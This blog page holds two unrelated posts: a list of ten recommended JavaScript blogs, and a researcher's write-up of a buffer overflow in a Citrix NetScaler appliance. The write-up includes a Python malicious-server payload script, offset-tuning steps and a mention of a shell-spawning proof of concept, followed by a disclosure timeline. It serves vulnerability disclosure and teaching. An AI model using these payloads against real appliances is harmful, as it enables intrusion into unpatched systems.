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Top10 Java Script Blogs To Improve Coding Skills

Monday, August 31, 2020 12:25 AM Posted by Unknown

10 Top JavaScript Blogs to Improve Coding Skills

The Best JavaScript Blogs

With two decades of improvement, JavaScript has become one of the most popular programming languages of all time. The journey started in 1995 when Brendan Eich created JavaScript in just 10 days. From there, it has seen multiple revisions, drafts, and growth in the form of frameworks, API's, modules, etc. Today, we will go forward and list the top JavaScript blogs from the internet so that you can enjoy the lastest development in the field of JavaScript.

According to RedMonk programming language rankings and GitHut.info, JavaScript is leading the pack in the terms of repositories and the most discussed programming language on StackOverFlow. The numbers itself speaks about the future of JavaScript as it has grown beyond the initial capabilities of simple DOM manipulations.

Learning JavaScript, on the other hand, can be a tricky proposition. New libraries, features, API's or Style Guide, pop up almost every day. The speed of iteration is beyond imagination, and that is why reading leading JavaScript blogs are the best approach to keep up with new changes.

JavaScript is blessed with experts that regularly contribute to the community using live streams, videos, blogs, podcasts, conferences and open source projects. An example of a cool experienced Javascript programmer is evilsoft who broadcasts awesome Javascript projects weekly on LiveEdu..

Some blogs are just gold even when they are not updated frequently. To help you reach the best content on JavaScript, let's list the best JavaScript blogs on the internet. The following blogs have a huge fan following and contain epic JavaScript content.

10 Top JavaScript Blogs to Improve Coding Skills

1. David Walsh Blog

David Walsh is a renowned name in the JavaScript world. He started his career with DZone, but his first real break came while working for SitePen as a Software Engineer. His blog composes of topics related to JavaScript, personal thoughts, guides and much more. The blog design is captivating and is going to hook you up on the first visit. Currently, he is working as a Senior Web Developer at Mozilla.

top javascript blogs

2. DailyJS

DailyJS is one of the best JavaScript blogs on the internet. The blog was started by Alex R. Young, an entrepreneur and Node.js expert in 2009. However, there are recent changes that don't sound great. Currently, the blog is no longer updated, but that does not make the content useless at all. The blog covers diverse content on JavaScript including frameworks, API's, libraries, etc.

2-daily-js

3. SitePoint

SitePoint is one of the leading web development portals since 2000. The main attraction of SitePoint is the collection of highly detailed articles. They are aimed at teaching something new to the readers. JavaScript, on the other hand, is one of the leading topics on the website where experts around the world contribute regularly. The rate of the new blog post is high, and you won't find a blog post that doesn't teach you something new. Truly, a great learning place for any JavaScript developer.

3-Sitepoint

4. JavaScript.com

Not technically a blog, but if you love JavaScript, then you need to follow the website's offerings. JavaScript.com news section is an aggregator for excellent JavaScript news, tutorials, guides, and much more. All you need to do is move to their news section and discover tons of new content surrounding JavaScript. The domain is owned by CodeSchool and is mainly utilized to contribute to the community and a landing page to their courses.

4-JavaScript

5. Brendan Eich

What's the best place to find JavaScript knowledge? The inventor? Well, you are right. Brendan Eich, the creator of JavaScript, keeps his blog with filled with his musings and other excellent thought processes about JavaScript. You can also find videos on the blog. Virtually, the blog is the mind of JavaScript where you understand it in an entirely different manner.

5-brendan-eich

6. JavaScript Playground

JavaScript Playground is yet another great place to get started with all the different JavaScript frameworks, API, and libraries. The focus is to work with the JavaScript ecosystem and provide high quality blog articles, screencast, and podcast for the audience. They also blog about different JavaScript guidelines, tips, and tricks.

6-JavaScript-Playground

7. Superhero.js

If you are looking for a superhero to fetch you the best resources on JavaScript, then you have finally found one. Superhero.js is a simple website that aims to collect everything related to JavaScript including videos, articles, presentations, etc. The content is divided into meaningful sections such as "Understanding JavaScript", "Organize Your Code", etc. Also, the page is regularly updated with new information.

7-superhero

8. JavaScript Jabber

Another "not a blog entry" into the list — JavaScript Jabber is a weekly podcast on JavaScript. Each podcast is around 1 hour of jabber and will sure have something for you to learn. They keep their tab on everything related to JavaScript, including core concepts to popular Framework discussions.

8-JavaScript-Jabber

9. Medium JavaScript Collection

Is medium a blog? Technically, not, but it contains high quality JavaScript articles. Medium is a way to connect to the audience so be ready to read many opinions on how JavaScript should have been, and what's wrong with JavaScript. Other than the ramblings, it hosts amazing JavaScript content such as Speed Up Web Apps.

9-JavaScript-collection-medium

10. Smashing Magazine

Smashing Magazine is one of the oldest websites covering web designing and development. They have a dedicated section for JavaScript, which is constantly updated with tutorials of high caliber. The tutorials surround other web development ideas such as UX, Productivity, etc.

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Conclusion

Here are the ten best JavaScript blogs to improve your coding skills. The blogs and mix of other content types will help you to keep up with new changes in JavaScript field, and improve yourself accordingly.

If you are new to JavaScript and want to get started as soon as possible, check out the JavaScript learn section on LiveEdu.tv. And, yes, it is the most popular programming language on LiveEdu.tv which can benefit from your attention! Also, don't forget to leave a comment on how the JavaScript category page can be improved. We are listening!

Dr. Michael J. Garbade

About Author Dr. Michael Jurgen Garbade is the founder of LiveEdu.TV, Kyuda, Education Ecosystem. He is future Venture Capitalist, Future Politician and always on the lookout for the Next Big Challenge. Obtained Masters in business administration and physics, and a Ph.D. in finance with professional work experience in high-paced environments at Fortune 500 companies like Amazon and General Electric. Expertize: Python, PHP, Sencha Touch & C++, SEO, Finance, Strategy & E-commerce. He speaks English and German and has worked in the US, Europe, and Asia. At Education Ecosystem he is the CEO and runs business operations.

@£√£RYTHING NT

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Scaling The NetScaler

Sunday, August 30, 2020 3:57 PM Posted by Unknown

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

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